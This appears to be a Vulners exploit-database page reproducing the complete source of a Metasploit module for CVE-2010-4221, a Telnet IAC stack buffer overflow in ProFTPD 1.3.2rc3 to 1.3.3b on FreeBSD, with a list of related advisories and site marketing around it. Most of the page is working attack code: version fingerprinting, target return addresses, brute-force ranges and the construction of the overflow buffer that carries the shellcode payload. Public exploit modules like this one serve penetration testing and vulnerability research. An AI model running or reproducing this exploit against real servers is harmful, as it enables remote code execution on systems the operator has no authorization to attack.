Lucene search
+L

ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)

🗓️ 01 Nov 2010 00:00:00Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 94 Views

ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
MACHINE-BASIC-PENTESTING-1
6 Sep 202618:39
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Restriction of Operations within the Bounds of a Memory Buffer in Proftpd
8 Sep 202614:46
–githubexploit
freebsd
FreeBSD
proftpd -- remote code execution vulnerability
2 Nov 201000:00
–freebsd
circl
Circl
CVE-2010-4221
7 Nov 201000:00
–circl
checkpoint_advisories
Check Point Advisories
Preemptive Protection against ProFTPD FTP Server TELNET_AIC Stack Buffer Overflow
10 Dec 201000:00
–checkpoint_advisories
checkpoint_advisories
Check Point Advisories
ProFTPD FTP Server TELNET_IAC Stack Buffer Overflow (CVE-2010-4221)
20 Feb 201200:00
–checkpoint_advisories
cve
CVE
CVE-2010-4221
9 Nov 201020:00
–cve
cvelist
Cvelist
CVE-2010-4221
9 Nov 201020:00
–cvelist
debiancve
Debian CVE
CVE-2010-4221
9 Nov 201020:00
–debiancve
exploitdb
Exploit DB
ProFTPd IAC 1.3.x - Remote Command Execution
7 Nov 201000:00
–exploitdb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in versions of ProFTPD
          server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
          large number of Telnet IAC commands, an attacker can corrupt memory and
          execute arbitrary code.
        },
        'Author' => [ 'jduck' ],
        'References' => [
          ['CVE', '2010-4221'],
          ['OSVDB', '68985'],
          ['BID', '44562']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'PrependChrootBreak' => true
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 1024,
          # NOTE: \xff's need to be doubled (per ftp/telnet stuff)
          'BadChars' => "\x00\x0a\x0d",
          'PrependEncoder' => "\x83\xec\x7f" # sub esp,0x7f (fix esp)
        },
        'Platform' => [ 'bsd' ],
        'Arch' => [ ARCH_X86 ],
        'Targets' => [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true } ],

          #
          # This special one comes first since we dont want its index changing.
          #
          [
            'Debug',
            {
              'IACCount' => 8192, # should cause crash writing off end of stack
              'Offset' => 0,
              'Ret' => 0x41414242,
              'Writable' => 0x43434545
            }
          ],

          #
          # specific targets
          #
          [
            'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
            {
              'IACCount' => 1024,
              'Offset' => 0x414,
              # 'Ret' => 0xbfbfeac4,
              'Writable' => 0x80e64a4,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xbfbffdfc },
                  'Stop' => { 'Ret' => 0xbfa00000 },
                  'Step' => 512
                }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-11-01',
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
          'SideEffects' => [ IOC_IN_LOGS, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(21),
      ]
    )
  end

  def check
    # NOTE: We don't care if the login failed here...
    connect
    banner = sock.get_once || ''

    # We just want the banner to check against our targets..
    vprint_status("FTP Banner: #{banner.strip}")

    status = CheckCode::Safe('ProFTPD version does not appear to be vulnerable')
    if banner =~ /ProFTPD (1\.3\.[23])/i
      banner_array = banner.split('.')

      if banner_array.count > 0 && !banner_array[3].nil?
        # gets 1 char on the third part of version number.
        relnum = banner_array[2][0..0]
        tmp = banner_array[2].split(' ')
        # gets extra string info of version number.
        # example: 1.2.3rc ('rc' string)
        extra = tmp[0][1..(tmp[0].length - 1)]
        if relnum == '2'
          if !extra.empty?
            if extra[0..1] == 'rc'
              v = extra[2..extra.length].to_i
              if v && v > 2
                status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
              end
            else
              status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
            end
          end
        elsif relnum == '3'
          if [ '', 'a', 'b', ].include?(extra)
            status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
          end
        end
      end
    end

    disconnect
    return status
  end

  def target
    return @mytarget if @mytarget

    super
  end

  def exploit
    connect

    # Use a copy of the target
    @mytarget = target

    if target['auto']
      @mytarget = nil

      print_status('Automatically detecting the target...')
      if banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        fail_with(Failure::NoTarget, 'No matching target')
      end

      regexp = Regexp.escape(version)
      targets.each do |t|
        if (t.name =~ /#{regexp}/)
          @mytarget = t
          break
        end
      end

      if !@mytarget
        fail_with(Failure::NoTarget, 'No matching target')
      end

      print_status("Selected Target: #{@mytarget.name}")

      pl = exploit_regenerate_payload(@mytarget.platform, arch)
      if !pl
        fail_with(Failure::Unknown, 'Unable to regenerate payload!')
      end
    else
      print_status("Trying target #{@mytarget.name}...")
      if banner
        print_status("FTP Banner: #{banner.strip}")
      end

      payload
    end
    disconnect

    super
  end

  def brute_exploit(addrs)
    @mytarget ||= target

    ret = addrs['Ret']
    print_status('Trying return address 0x%.8x...' % ret)

    # puts "attach and press any key"; bleh = $stdin.gets

    buf = ''
    buf << 'SITE '
    # NOTE: buf must be odd-lengthed prior to here.
    buf << "\xff" * @mytarget['IACCount']
    buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
    buf << [
      ret,
      @mytarget['Writable']
    ].pack('V*')
    buf << payload.encoded
    buf << "\r\n"

    connect
    sock.put(buf)
    disconnect

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation